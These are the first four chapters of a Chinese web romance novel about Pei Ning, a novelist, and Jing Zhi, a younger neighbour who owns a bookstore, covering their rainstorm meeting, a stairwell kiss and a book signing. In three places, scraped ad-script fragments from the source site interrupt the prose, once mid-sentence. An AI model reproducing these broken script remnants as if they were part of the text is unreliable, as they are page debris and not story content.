《上位者》 1. Chapter 1 青城连续数日居高不下的温度,被一场突如其来的暴雨浇灭了。 车外大雨滂沱,车内的空调还设置在平时的温度,此刻难免有些凉意袭人。裴凝熄了火,温度很快攀升上来,湿热的空气从缝隙挤进,粘腻地贴在裴凝的肌肤上,连带着她的思绪都更加沉滞。 今天是裴凝正式搬进新家的第一天,但似乎没有开个好头。 她没有看天气预报,所以完全没有料到连续高温的青城会突降如此大雨,车内也并未备伞;她原本可以在下雨之前到达,但半路被出版社叫去开了一个紧急会议,所以耽误了时间;雨下起来的时候,她已经临近小区,除了继续向前,似乎并无更好选择。 现在裴凝停在离单元楼不算近的内部车道上,思考着要不要干脆冒雨从这里跑过去。 偏偏她今天还穿了高跟鞋。 托着下巴的胳膊架在方向盘上,裴凝再一次刷新了天气预报,依旧显示大雨还要持续一个小时。一双远山眉微蹙,终于露出些许不耐。 好烦。 持续数日的阴霾情绪,在这一刻达到了顶峰。 没有任何行动的欲望,裴凝放弃努力,选择灵魂出窍地在车里等待。 此刻车内温度已明显高于车外,窗上起了淡淡的白雾,裴凝百无聊赖地擦掉一小块,视线扫过左后视镜。大颗雨滴滑过镜面,留下一瞬短暂的清晰。 下一秒,一个黑色身影跑入镜中。雾气叠加大雨,裴凝全然看不清那人的长相,只看得到来人很高,一身纯黑色穿搭,戴了顶压得很低的帽子。 他手上,拿着一把很大的黑伞。 裴凝虽然看不见那人的脸,但她觉得,他的氛围感很帅。 而在她的小说里,很帅的人一般都是很好说话的。 所以在那人快跑到裴凝车边的时候,她强迫自己调动起麻木的四肢,打开了一半车窗,在感受到大雨扑脸的瞬间开口道: “您好!” 本以为被雨声裹挟着自己的声音不会太大,裴凝打算多喊几声的,可那男生似乎一下就听到了,在裴凝车旁停了步。 车窗被他挡住后,大半的雨也被隔绝,裴凝终于能顺畅开口:“您好,我没有带伞,一直没有等到人来,您方便捎我一段吗?” 雨天视线受阻,男生又戴着口罩,裴凝依旧看不清他的样貌,只看到露出来的一双眼睛,又圆又黑,在这昏暗的天气里格外闪闪发亮。 “好。”那男生点点头,“你下来吧。” 已经干坐了二十分钟的裴凝利索地抓起包打开车门,直到走出几步才发觉不对。 “哎?你不问问我住哪栋楼吗,要是不顺路怎么办?” “没事,顺路。” 裴凝刚想问你怎么知道,恍然意识到从这里往前走只有一排并列的楼栋,她家就在其中之一,如果他往这个方向走,怎么都会是顺路的。 于是裴凝心安理得地躲在男生的大伞下,与他并排走着。 伞虽大,盖住两个人还是有些吃力。裴凝自觉自己是蹭伞,不好挤占空间,于是一直站得稍靠外些。她今天穿了一件挂脖无袖长裙,裸露在外的右臂不出两步便已完全被雨打湿。 不知道是不是错觉,裴凝感觉男生靠过来些,右臂淋的雨骤然变小。她只当是他走歪了,又往外靠靠。 反复几次,男生终于开口。 “我又不吃人,你靠近点,别淋着。” 裴凝感激地凑近男生,她身材纤长,本就不占多大面积,此刻左肩和男生的右肩前后交叠着,终于全然站在了伞下。 裴凝忽然闻到一股沁人的雏菊香气,不厚重,很宜人。 是方才被潮气掩藏住了的,男生身上淡淡的皂香。 她扭头看去,男生沉默不语地直直往前走着,脚下的步子却明显越来越慢,在刻意照顾裴凝小心保持不被滑倒的步速。 这样大的雨,即使打伞也会被雨淋湿一些。更何况男生的伞下多挤进一个裴凝,还要陪她漫步,刚才干净的衣角,现在已经透着水了。 裴凝回想了一下刚才在车里看到的男生奔跑的身影,按照他原本的速度,他现在应该已经到家了。 裴凝当机立断,脱掉高跟鞋,拎在手里。 没等身边人反应过来,裴凝轻轻握住男生手臂,说了一句:“跑。” 声音不大,却有些肆意的兴奋。 两人就这样突如其来地奔跑在磅礴大雨中。 就像这毫无预兆闯入青城的大雨。 裴凝本意是想抓着男生的手臂保持平衡,却突然感觉男生的手反折上来,抓住了她的手,不算用力,正好能让她平稳借力。宽大的手掌温度要高上裴凝许多,她持续低温一下午的身体终于感受到了热流涌动。 他们迈着步子,在恼人的夏雨里,不管不顾地逃离了忧绪。 到裴凝家的单元楼下,她刚想停下,男生却直接带着她拐进了楼里。裴凝惊讶地看着男生:“你怎么知道我住这栋楼?” “我也住这里。” 他收起雨伞,关上单元门,将震耳的雨声关在门外。骤然安静下来的空间,独留伞尖落下的水珠滴答作响。 裴凝忽然莞尔:“好巧。” - 电梯里,两人站在斜角。 裴凝看不到身后男生的表情,只能听到他奔跑后不算均匀的呼吸。 她依旧拎着她的鞋,看着电梯显示屏上的数字越爬越高。 17和23,分别是裴凝和男生的楼层。 狭小空间里的温度不易察觉地升高。 也许是难得在雨中奔跑后带来的兴奋刺激了荷尔蒙,也许是连日来的诸事不顺在此刻找到了喘息的缝隙,又也许,是一向及时享乐的裴凝单纯想要多留这个近在咫尺的帅哥一些时间—— 总之,她转过身,看向男生。 正欲开口,裴凝却看到他摘下口罩,露出藏在下面的一张让人难以忽视的脸。 他的头发很短,帽子盖住后,前额没有一点刘海,眉毛稍粗但不显突兀,卷翘的睫毛上还挂着丝丝水汽,惹得他不太舒服,时不时眨着那双圆圆的小狗眼。鼻梁挺拔而立体,顺势而下,是微微抿在一起的薄唇。下颚线明显但不锋利,比小说中常见的“刀锋般的侧脸”,要更圆润可爱一些。 口罩一侧被他耳朵上的不规则黑色耳钉卡了一下,让他不得不多扯了一会儿,于是裴凝便顺理成章地看向他小麦色的手臂,手腕上一条金属环连接而成的手链,正松松垮垮地搭着。 该死,裴凝觉得电梯里的温度越来越高了。 好绝。 超绝性张力。 裴凝看到那微微显露的青筋时,已经忍不住在脑海里给他画上了八块腹肌。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 当然,是脱了衣服画的那种。 她终于抬起头,男生也正好看向她。 不期然地,两人同时开口: “可以加个微信吗?” “可以接吻吗?” 尾音消失在空气里,相差甚远的内容让男生错愕地睁大眼睛。他一瞬间的呆滞露了些稚气,身上的肌肉微微紧绷起来,一动不动地看着裴凝。 “可以吗?” 裴凝的语气随着不断攀升的楼层有些焦急起来。 “可以……吧。” 男生状况外地点点头。 话音落下时,电梯门正好在17层打开。 裴凝把18到22层的电梯全按了一遍,然后回身握住男生还有些僵硬的手腕,带着他下了电梯。 看到电梯重新开始向上运行后,裴凝按亮上行键,紧接着用依旧握着男生的手,将他拽到了一旁的安全通道里。 安全通道的门自动合上,顺便也将明亮的世界隔绝在外。 现在能让两人勉强看清彼此的,只有头顶昏暗的白色节能灯泡,和眼睛里忽闪的点点星光。 裴凝索性将高跟鞋扔在一边,轻轻踮脚,如小猫一般敏捷地环住男生的脖子。她一步一步向前,将他逼退至墙边,感觉到两人湿了大半的衣服纠缠在一起。 下一秒,裴凝很直接地吻上了眼前的人。 雨伞随即落地。 唇齿相碰,是与裴凝想象中如出一辙的热意。她闭上眼睛,熟稔地靠着本能去探索、去诱惑,顺着两人发丝滑落的水珠,扰得她脸颊微痒。 男生的回应有些慢——不,是很慢。他似乎没有进入状态,僵直着任由裴凝摆布,眼睛既没有闭上,也不知道该看向哪里。 裴凝感觉到男生的紧张,她放缓了节奏,很有耐心地引导。耳边急促的呼吸声逐渐规律起来,男生终于抬起双手,捧起她的脸,轻轻柔柔地向前试探着。 楼道里的声控灯倏地灭了,被彻底剥夺视觉后,裴凝全身的感官都被兴奋地调动起来。 心跳震耳,体温交替。 男生不太会接吻,裴凝几乎是瞬间就发现了。混迹情场如她,碰上这样稚嫩又认真地回应她、甚至还试图将主动权夺过来的纯情小狗,也实在忍不住想—— 原来青涩的果实更是诱人。 似乎是为了惩罚她的分心,男生一个转身与裴凝换了位置,将她抵在墙上,未留给她喘息的机会,学着她的样子,又贴近她的唇。稍微有些干涩的薄唇摩挲着她的唇角,然后在热吻中变得湿润起来。 这个吻很长,长到裴凝觉得自己似乎要迷失在他唇齿间的薄荷香中了。 这个吻又很短,短到裴凝刚要再次倾身,就听到电梯“叮”的一声,重回17层。 辛德瑞拉的零点钟声响了,童话也要变成现实。 理智回神,裴凝迅速而敏捷地抽离,男生猝不及防,差点栽到她怀里。裴凝坏心思得逞般笑起来,捡起雨伞塞进他手里,然后推开安全通道的门,把男生推进电梯,帮他按了23层。 “体验很好。” 理不清状况的男生听到裴凝的话后看过去,然后突然想起刚才没做成的事。 “联系方式……” 裴凝兔子一样的眼睛灵动地眨了眨。 “等下次接吻的时候再给你吧。” 2. Chapter 2 “洛洛,你就考虑一下吧。” 朱情在电话里苦口婆心地劝了半小时,根本没认真听的裴凝护肤保养一条龙,一点没落下,这会儿已经美美敷上了面膜。 “小情人儿,都十点多了,早点睡吧。” “露个脸又不会掉块肉,你到底为什么拒绝啊!” 朱情的声音像是气球爆炸前打进的最后一股气,高亢又激动。 “拜托,美貌是我最不值一提的东西好吗,我有过气到需要这么不择手段吗?” “有。” 朱情气不打一处来。 自从裴凝和前东家冬春文学网闹掰之后,她一直没有签其他的平台,在网文盛行的当下,她倒是反其道而行之,做了回传统作家。 新书不连载、不上网、不宣传,写完之后,直接出版。 写书的那段时间,粉丝都以为裴凝隐退了。 可毕竟是网文作者转型,粉丝等不起这么久的空窗期,裴凝的新文还未成形,很多人就已经被层出不穷的作家新秀拐跑了。内容未知又遥遥无期的作品,自然不如日更的香。 事情走到这一步,其实并非完全如裴凝所愿。 她和冬春的故事俗套又狗血,无非是年少时不懂事,稀里糊涂签了卖身契,导致裴凝在冬春的所有作品版权都归网站所有。原来红极一时,裴凝还有底气讨价还价,但后来市场更新越来越快,她的写作风格又有些执拗的“古板”,不适合热梗热题材,人气便有所减退,版权分成也逐渐没了话语权。 如果只是分成不均,裴凝还能熬到合约期满。让她愤而解约的导火索是,冬春竟然要求她写两个娇妻文学的剧本,以此来作为给她推荐作品的条件。裴凝怒斥是可忍孰不可忍,一纸解约书送上冬春大门。 解约官司打了一年,这期间哪家平台都不敢接裴凝这个烫手山芋。好不容易彻底恢复自由身,裴凝已被后浪拍死在沙滩上。偶有几家看中裴凝的粉丝基础而抛出橄榄枝的平台,给出的签约条件比冬春还苛刻,让她彻底对这些资本家死了心。 《昨日黄昏》因此曾一度难产,半年前才好不容易有一家不算太出名的出版社答应为裴凝出版。但结果可想而知,前因种种,全都直接反馈在了惨不忍睹的销量上。 如此下去,以后怕是再也没有出版社愿意和裴凝合作了。 再说朱情,一个在裴凝和冬春的世纪“大撕逼”中选择站队裴凝的网站小编辑,在裴凝和冬春解约之后,她凭着一股子不知死活的年轻气盛,毅然辞职,然后就上了行业黑名单,不得已只能和裴凝继续“捆绑”,成了她的怨种编辑,兼职经纪人。 所以朱情天天为这些破事愁得秃了头,好不容易想出一个“美女作家”的营销噱头,裴凝还不配合。 “洛漾,你赶紧找个新东家行不行,这活我真是一天也干不下去了。” 洛漾是裴凝的笔名,九年前刚出道时起的,多少有点非主流,要不是朱情拦着,裴凝早想把它给换了。 “我不找,我这辈子都不会再让别人从我手里坑走一分钱了。” “那你就招个经纪人,别可着我一个人霍霍!” “别人哪有你放心啊。” 朱情和她说不下去,骂骂咧咧地挂断电话。 裴凝见她终于挂了,起身摘了面膜扔到垃圾桶里,然后把垃圾袋系好,随便套了身运动卫衣下楼了。 把垃圾扔在楼下的垃圾桶里,裴凝返身往回走时,碰到了正走到楼前的23层帅哥。 裴凝住进来这半个月,除了第一天,两人从来没有偶遇过。 “是你啊。” 裴凝笑着拉开门,男生走上前,顺势握住门把手,示意裴凝先进。 两人并肩走进电梯,裴凝随口说道:“好久不见。” “嗯,我出差了。” 裴凝不甚在意地点点头。 电梯里沉默了片刻。上了几层之后,男生又开口。 “你不问我是做什么的吗?” “你想让我问吗?” “我只是觉得,一般情况下,大家都会顺着问一句吧。” “是吗,可是我不想问哎。” 裴凝回过头去,一双眼睛弯成了月牙,语气轻快。 “为什么?” “如果我问了你,你肯定也会问我,可我们好像还没有到可以互通职业的关系。” 男生似乎没有料到裴凝的话。他脸上有些藏不住的情绪:“那你觉得我们现在是什么关系?” “邻居关系啊。” 17层到了,裴凝说完就走出了电梯。 但没有想到,他也跟出来了。 “你下来干嘛?” “微信。” 男生把手机拿出来,打开微信二维码,伸到裴凝面前。 裴凝假意打趣道:“我不是说了吗,下次接吻的时候……” 话没说完,裴凝忽然看到那双又大又圆的眼睛凑到了自己跟前,周身瞬间被席卷而来的雏菊香气包裹。 他蜻蜓点水地碰到裴凝的唇就离开了,然后又把手机往前伸了伸。 “这回可以了吗?” 裴凝没忍住,将内心想法脱口而出:“诡计多端。” 话虽这么说,但她已经把手机拿出来了。输入验证信息的时候,男生问她:“我叫井稚,你呢?” “你连我的名字都不知道,就敢跟我接吻,不怕我是杀猪盘啊?” “骗子住不起这里的房子。” 他平静道。 裴凝乐了一声,手指点击发送,男生的手机随即响起。 “我叫裴凝。” 井稚编辑好备注之后,抬头看着裴凝。 “现在我们的关系更进一步了吗?” “是进一步了呀,不是知道对方叫什么了吗。” 说完,裴凝回身去开门:“下次见哦,井稚。” - 虽然加了微信,但两人的聊天记录一直是空的。裴凝忙着写书,门都不出,实在腾不出精力醉心帅哥。 一个普通的周五下午,裴凝看着空空如也的冰箱,终于决定去超市买点东西。 路上,她偶然看到对面有一家书店,名字很有意思,叫“松林间”。 更有意思的是,这家书店把《昨日黄昏》摆在了橱窗最显眼的位置,旁边还有一层专门的书架,放的都是她的书。 她被勾起了兴趣,想过马路去店里看看。等红绿灯时,她意外看到井稚走进了书店。 裴凝的眼皮跳了一下,红灯正在此时变绿。她穿过马路,径直走到书店里,才发现里面比她想象的要大得多。 裴凝没有先去看门口那排自己的书,而是在店里走了一圈。奇怪的是,她并没有看到井稚。 “您好,需要帮忙吗?” 一个穿着制服的女生在裴凝面前停下,微笑着问她。 裴凝思索片刻,开口道:“请问你有没有看到刚才进来的那个男生?很高,戴了一个黑色耳机,一身黑白色的运动装。” 店员蹙眉想了一下,然后恍然大悟般拿出手机,翻出一张照片递到裴凝面前。 “您要找的是他吗?” 那是一张合照,店员把其中一个人放大给裴凝看,正是井稚。 “对,是他。” 店员笑着收起手机。 “这是我们店长。” 裴凝这回是真的有些吃惊了。她微张着嘴,几秒钟后才问出声:“你是说,这家书店是他的?” “是的。” 裴凝歪头,扑哧一声笑出来。 “谢谢你,麻烦你不要告诉他我来过。” 裴凝留下一头雾水的店员,转身走出了书店。 很快,裴凝给朱情打了个电话。 “小情人儿,你上次说的事我答应了。” “上次说的?什么事?”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “签售会。”裴凝轻松道,“我同意了,咱们办吧。” “真的?!” 朱情的声音高了好几个八度,差点把裴凝的耳膜震碎了。 “真的。不过,我有个条件。” “什么条件?” “举办的场所,由我来定。” - 井稚没有想到会接到洛漾经纪人的电话,更没有想到洛漾想在他的店里举办出道以来的第一次签售会。 井稚既是书店老板,又是洛漾的粉丝,自然没有理由拒绝,所以双方很快达成合作,店里前前后后准备了半个多月。 这天井稚下班,到驿站取快递的时候,看到一捧红玫瑰显眼地摆在桌上。 他眼尖地看到包装上挂着的配送信息,清楚地写着裴凝的住址。 井稚眉峰一敛,和驿站的老板询问后得知,是送花的配送员打不通裴凝的电话,又赶着送下一单,所以就给她发了信息,寄放在了这。 井稚和老板打了招呼,抱走了那一捧花。 他在17层下了电梯,按了裴凝家的门铃。片刻之后,湿着头发的裴凝打开门。 “你怎么来了?” 裴凝只穿了一件吊带睡衣,深色卷发搭在肩前,没有完全吹干,发尾湿漉漉地贴在身上,遮住了一半棱角分明的锁骨。 井稚移开视线,把玫瑰递到她眼前。 “在驿站看到的,就顺便帮你拿上来了。” 裴凝这才想起自己今天让朱情帮她买点花摆在家里,顿时眉开眼笑,一把接过来抱在怀里。 别人都觉得这般火红的玫瑰是俗气的,但裴凝偏偏最喜欢。 “还是小情人儿懂我。” 她下意识赞叹一句,没有注意到井稚的神色暗了一瞬。 “别人送的吗?” “算是吧。” 花的是朱情的钱,当然就算是朱情送她的。 “没什么事的话,我先走了。” 井稚的声线渐冷,裴凝自然听出来了。她未去深究,只是抽出一支玫瑰,塞进了井稚的手心。 “晚安,祝你好梦。” 井稚低头看看手里的玫瑰,眉头皱得更紧了。 “不是别人送你的吗?” “送我的,就是我的了,我想送给谁就送给谁。” “你有多少想送的人?” “我现在只想送给你。” 井稚被裴凝气得说不出话来,圆圆的眼睛瞪得铜铃大,嘴角快撇到地里去了。 裴凝笑嘻嘻道:“快回去吧,我要睡觉了。” 井稚不说话,抬手就要把门合上。 裴凝在门完全关上之前,轻轻拿手抵住,低笑着看向还在赌气的井稚:“下次见面的时候,我亲自买玫瑰送你,你是不是就能不皱着好看的眉了?” “你怎么知道下次什么时候见面?” “很快就会见面了。” 裴凝眨了眨眼睛,关上了门。 井稚看着捏在手里的玫瑰,指腹有些微微刺痛。 - 转天就是签售会。 还有一个多小时开始,井稚和店员做着最后的检查。看到桌上没有放水,他抬起头想吩咐店员去拿,却见眼前几个人都目瞪口呆地盯着自己身后。 井稚蹙眉,这才听到由远及近传来的一阵清脆的、高跟鞋落地的声音。 他回过身去,看到了一个意想不到的人。 那人素齿朱唇,神色嫣然,正手捧一大束玫瑰,款步姗姗向他走来。本就大气明媚的长相,化了难得一见的浓妆,一副流苏耳坠垂落锁骨间,更显成熟优雅。 一身红色修身鱼尾裙,肆意张扬在她身上,发尾的波浪随着她的步伐轻轻晃动着,整个人被勾勒出万种风情来,让人分不清火热绽放的到底是玫瑰,还是人。 她站定在井稚面前。 “井老板,今天的花,还满意吗?” 3. Chapter 3 井稚反应过来之后,果断握住裴凝的手腕,将她连人带花拽走。 “哎,你慢点。” 裴凝踉跄了一下,才跟上井稚急促又慌乱的步子。 井稚把人带到无人的书架后,终于停下来,脸色不如裴凝预想般惊喜,只是耳尖有些红。 “现在是什么情况?” “什么什么情况,我履约来给你送花啊。” “别扯。” 签售会的事一直是井稚和朱情联系的,所以当他看到站在裴凝身边的朱情时,就已经得出了几分答案。 但是这个答案让他有些不愿承认,毕竟裴凝看起来早就知道他的身份,而他却一直被蒙在鼓里。 “生气啦?”裴凝凑过去些,仰起脸来看他,鼻尖对鼻尖,“我就是想给你个惊喜嘛。” “这是惊喜吗?”井稚还绷着脸,但一看到裴凝的兔子眼睛就有些破功,只能咬紧牙往后退了两步,“你这是耍我玩。” “情趣嘛,这样你就会觉得今天的工作有意思多了。” 井稚没有裴凝的伶牙俐齿,只能以沉默表示抗议。 “这花你真不要呀?我有些抱不动了。” 裴凝假意皱着眉揉了揉手腕,果然看见井稚抬了眼,别扭地把玫瑰揽过来,没好气道:“为什么不要,这是你欠我的。” 裴凝见小孩还没消气,刚打算哄他,就听朱情在外面喊了一句。 “洛洛,准备开始了!” 裴凝应了一声,往出走了走,站在光亮处等井稚:“走吧井老板,我可是付了你钱的。” 井稚不情愿地跟上她,两人没走几步,就碰上来寻人的朱情。 “我就说我昨天给你买了花,你今天怎么还要绕路去买,原来是给井老板的。” 朱情一脸鄙夷地看着裴凝。 井稚反应过来,昨天裴凝口中的“小情人儿”,指的当是朱情。 想到这,他方才的懊恼已消了大半,但又觉得这样太没出息了,所以不易察觉地攥了攥拳,让脸上依旧保持阴云密布。 裴凝没理朱情的调侃,转过身来面向井稚道:“介绍一下,这是我的经纪人,朱情。” “我认识她。该介绍的是你吧。” 井稚冷言冷语。 “也是,我忘了。”裴凝从容地将身前的头发揽到耳后,随后伸出了一只手,“正式介绍一下,我是洛漾。” “很高兴认识你。” 井稚没有感情地说完这句话,大步流星地抱着花走了。裴凝看着落空的手,无奈地笑起来。 “什么情况?” 朱情不知所以然。 “小孩儿闹脾气。” - 签售会很快开始,来的人比预想中要多。原本各司其职的店员要么去门口帮忙,要么去搬椅子了,人手不足,几个店员就把井稚撵上了台。 “老板你当会儿保镖!拜托你了!” 没等他回话,台下的人就没了影。井稚看着一直低头和粉丝说话、不停签字甚至来不及喝水的裴凝,皱了下眉,叫住一个店员吩咐了两句,然后站在了她身后。 裴凝明显感觉从某一刻开始,上来的粉丝眼神一直往自己身后瞟,她回头一看,就见井稚还抱着那一大捧花,像个木桩一样站着。 “姐姐,那个人为什么抱着花呀?” 面前的小粉丝软声软气地问道,裴凝对可爱的女生最无招架之力,当即回身从井稚的花里抽出来一束,递给面前的小女生。 “当然是为了送给你呀。” 粉丝喜笑颜开,井稚咬牙切齿。 刚才那个店员重新拿了一杯插着吸管的水递上台来,看到自家老板抱着花实在有些傻,于是悄悄问道:“老板,我先把花给你拿走吧?” “不用,你忙你的。” 现场这么乱,井稚怕把花放在别处会被碰坏,所以宁可累赘也要自己抱着,绝不假他人之手。 他把那杯水递到裴凝手边,换掉了她原本的瓶装水。裴凝感激地伸头过去喝了一口,然后顺势又抽了一枝花。 井稚脸都气绿了。 拿了花的粉丝蹦蹦跳跳下台了,井稚靠近裴凝,从牙缝里挤出一句话。 “这,是,我,的,花。” “她们太可爱了嘛。”裴凝小声道,“乖,借我几枝,一会儿赔你。” 井稚来不及说下一句,下一个粉丝又上来了。 就这样,裴凝见到可爱小姑娘就抽一枝花送给人家,等到签售快结束的时候,井稚手里的花都快没了一半了。 井稚暗自数了数剩下的粉丝,发现就剩两个女生了,松了一口气。 “姐姐,我真的好喜欢好喜欢你。”上来一个高中生模样的女生,紧紧握着裴凝的手,眼神坚定得像要入/党,“他们说你早期的书都是融梗的时候,我在网上和那些人吵了三天三夜!” 说起这个裴凝就气不打一处来。 打官司的时候冬春为了占据舆论优势,各种离谱的谣言都往外扔,什么抄袭、融梗、三观不正,就差给裴凝编排十宗罪了。虽然说她抄袭的拿不出调色盘、说她三观不正的拿不出一段完整的文章证据,但那些营销号耸动的用词很是唬住了一群不明所以的网友,导致她实实在在地被骂了大半年,到现在还没彻底洗清冤屈。 “哎呦,辛苦宝贝了。” 裴凝怜爱地看着小妹妹,冲后面勾勾手,示意井稚过来送花。 井稚不情不愿地走过去,裴凝回手就是三枝。 “祝你以后的人生都不用和傻逼吵架,一定要一直喜欢我哦!” 小妹妹欢天喜地地抱着书和花冲了出去,迫不及待地和等在门口的同学分享。 裴凝笑眯眯地回头,刚想和井稚说这妹妹真可爱,就看见一张怒气冲冲的脸,和脸上那双正死死盯着她的、气得发红的眼睛。 “我也吵了三天三夜!” “啊?那……”裴凝一脸无措,“你也辛苦了?” 井稚抽出一枝花留给裴凝送给最后一个女粉丝,然后抱着花头也不回地下台了。 - 签售会结束之后,裴凝没有去找朱情,而是四处寻着从刚才开始就消失了的井稚。 等转到书店最里面的杂货间时,裴凝终于透过虚掩着的门,看到了正靠在桌上,对着半捧玫瑰花发呆的人。 杂货间有个小小的窗户,此刻落日将半,余晖透过明净的玻璃,温温柔柔地洒在他身上,晕开了往日锋芒的轮廓。 井稚垂着头,神色看不太清,只觉得有种落寞从他身上散开。 裴凝从门缝里只能瞧个大概,倒有种剪影的效果。晚霞映花,花配美人,好看得不真实。 “井老板,怎么在这?” 裴凝推开门,把画面拉回现实。 井稚稍稍抬头瞧了她一眼,没有说话,又垂下了。 裴凝轻轻把门阖上,站在井稚面前。 杂货间很小,地上摆满了杂物,留下的空间将将能站下他们两人。裴凝把井稚手里的花拿走,放在一旁,身子微微前倾,一手撑在桌边,发尾扫过井稚的锁骨。 温度骤然上升,裴凝听到了熟悉的心跳鼓点。 咚,咚咚,咚咚。 “怎么了?” 裴凝轻声问道,抬脸去瞧井稚的眼睛。 井稚知道自己又在该死地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 心跳加速了。 躲无可躲,他藏不住的委屈在狭小的空间里溢了出来。 “你是不是觉得捉弄我很有意思?” “怎么会?”裴凝捏起他的下巴,强迫他直视自己,“说什么傻话呢?” 井稚浑身都在发热,只有裴凝触碰到他的手指带来一点点凉意。 但这一点点凉意,似乎让他更热了。 “那这是什么?” 井稚指指旁边的花。 “这又是什么?!” 又愤懑地指指自己的嘴唇。 裴凝好笑地把他的脸颊掐出两块凹陷,回答道:“这是送你的花,我最喜欢的玫瑰花。” “至于这个……” 裴凝看着井稚被她捏出“O”型的嘴,没忍住,又亲了一下。 “是一个吻。” 井稚没想到又被她偷袭了,猛地站直身,嘴张了半天,只憋出一个字来: “你!” 裴凝正想说我什么我,忽然想起与井稚第一次接吻那天他不甚娴熟的吻技,再结合他此刻欲言又止的表情—— 裴凝福至心灵地小声惊呼:“那该不会是你的初吻吧?” 井稚最终还是被戳穿了。他像漏了气的皮球一样瘪了下去,身子又重新靠回桌子上。 “是又怎么样,”井稚不甘心地摸摸鼻子,“你又不亏。” 裴凝看着眼前过分可爱的小孩,心里暗暗下了决心,郑重其事地摆正井稚,正要开口—— “你要敢说‘会对我负责’之类的话就滚。” 井稚咬牙切齿地打断了她,把裴凝的话噎回了肚子里。 “年纪不大,脾气挺大。” 裴凝刮了一下他的鼻子,看他一瞬间红了耳朵,别过脸去。 从包里翻出口红,裴凝拉过井稚的左手,翻过来,拨开他的金属手链,在手腕内侧用口红画了一朵花。 “呐,欠你的花。”裴凝收回口红,“今天来不及买了,先这样还你,下次补给你真的。” 井稚低头看着手腕上,弯弯扭扭只有四片花瓣的小花。 实在算不上好看。 但为什么,自己比以往任何一次收到花,都要开心、都要兴奋? “你可真喜欢给别人承诺。” 半晌,井稚别扭地开口。 裴凝失笑。 “真是小孩儿。” “不许叫我小孩儿,”井稚不满意道,“还有,来不及是什么意思,你要去哪?” “庆功会啊,小情人儿没有和你说吗?” 井稚这才想起朱情提过她一早就订好了饭店,说等签售会结束,邀请全书店的人一起去庆祝,感谢他们这么多天的忙碌。 “洛洛?洛洛!裴洛洛!你在哪!” 裴凝话音刚落,就听见朱情的声音来来回回在门口回荡。 她把玫瑰放回井稚怀里,用眼神示意他走吧,然后打开杂物间的门,和刚走到门口的朱情撞了个满怀。 “你又调戏井老板了?” 朱情直言不讳。 “说什么呢!我这是体验生活好吗?灵感来源于生活!” 裴凝嗔怪地拍了她一下。 “你可拉倒吧,这些要是你灵感的来源,那你早该写出英汉词典那么厚的书了……” 井稚看着前面两人越走越远,跟在后面的步子越来越慢。 “井稚。” 忽然有人叫他。 井稚抬起头,正对上裴凝回过身来看他的眼睛。 那眼睛里亮晶晶的,像是盛了两汪明月下的清池。 她抬起手,朝他摆摆。 “快来。” 4. Chapter 4 “老板好像疯了。” “确实,他已经对着手腕看了半小时了。” “连手都不洗,非要用湿巾擦手。” “还一会儿傻笑,一会儿又生气。” “你看,天天戴的手链也摘了。” “魔怔了,这是魔怔了。” …… 坐在井稚对面的书店店员,三三两两地交头接耳着。 这家饭店是传统地方菜风格,很有名,朱情提前一周才订到。她订位时已经点了半桌的菜,他们一到就陆续上了,剩下半桌留给大家按自己的口味现场再点。 裴凝向来是不担心朱情的工作能力的。 她给朱情夹了块排骨,才发现她从刚才就一直拿着手机发消息,半天没有动筷。 “怎么不吃呀?” 裴凝把排骨肉剥下来,塞给她。 “下午的几个记者跟我聊通稿的事,我先回一下。” 裴凝了然。又想到什么,凑过去小声问:“真要营销美貌呀?” 虽说裴凝知道自己是个美人,但拿这个来营销,还是让她感到很反感。 像是把自己卖了一样。 “我有那么肤浅吗?” 朱情头也不抬地怼她。 “那通稿发什么?” “就是你上次说的那个。” “我上次说的?哪个?” 朱情终于收起手机,看着裴凝。 “美貌,是你最不值一提的优点。” 签售会只是为了引起热度的噱头,朱情真正要宣传的,是裴凝这些年铺满鲜花的实绩。 出道九年,十部小说,六本实体书,五个有声书版权,四个影视版权,还有数不清的同人周边—— 即使被迫沉寂,裴凝也依旧是站在山顶的女王。 “别假惺惺了,快看看井老板吧,他也一直没吃东西。”朱情嫌弃地把裴凝感激涕零的眼神扭过去,“真不知道你给人家下什么蛊了,好好一个孩子跟傻了似的。” 裴凝一看,还真是。 工作的时候那么精明的一个人,现在眼里净冒傻气。 裴凝拿过井稚的筷子,夹了一块牛腩,塞到他嘴里。 “别看了,菜都凉了。” 井稚下意识地咀嚼,咽下去之后,终于开口: “你为什么要拿口红画?那明天,不,一会儿不就蹭没了吗?” 裴凝这才知道原来他是在为这事赌气。她把筷子放到井稚手里,安慰地呼噜了一下井稚的头,硬挺的短发挠得手心有点痒。 “我当时手边也没别的东西呀。蹭没了也没关系,之后补偿你真的。” 井稚想说什么,没说出口,不开心地撇开裴凝的手。 “你不懂。” “对了,井老板,你还有你们那届同学的联系方式吗?” 朱情插话道。 “还有一些,怎么了?” “没事,就是想了解了解有没有能在业务上认识一下的,毕竟是校友,还是好说话些。” “哎?”裴凝听出了玄机,“你们是一个学校的吗?” “哦对了,忘了跟你说,之前聊起来才发现井老板是我同系学弟,小我两届。” “这么有缘啊,原来你也是学传播的。” 裴凝惊讶地看着井稚。 朱情是名校传播学专业毕业,高考分数比裴凝当年还要高上几分。 这么说来,井稚也必然是学霸了。 井稚一副有什么大惊小怪的表情。 “那他原来在学校出不出名?有很多迷妹吗?或者迷弟?” 裴凝来了兴趣,一股脑地拽着朱情问。 朱情还没说话,井稚就拿春饼堵住了裴凝的嘴。 “吃饭吧你。” - 井稚从洗手间出来,走到离包间不远的拐角处时,突然听到了裴凝的声音。 她似乎是在打电话,可说话间的情绪,是井稚从未见过的愤怒和鄙夷。声音也在克制地压低,只断断续续传出几句。 “你哪来的我电话?” “认亲?你真好意思说出口。” “他创业关我什么事?没钱就去借高利贷。” “少跟我提彩礼,你宝贝儿子的彩礼,凭什么跟我要。” “裴宁海,你爹你妈一辈子都把钱砸在你身上,不还是养出你这么个赔钱货?裴致也一样,你想抱着你那赔钱儿子过一辈子随你便,少他妈惦记我钱。” 对面似乎又说了什么,井稚透过镂空的屏障,看到裴凝的眼睛里,一瞬间露出阴鸷的光。 “滚。” “我这辈子只有一个妈妈。她叫裴悯。” 挂了电话,裴凝站在原地没有动。 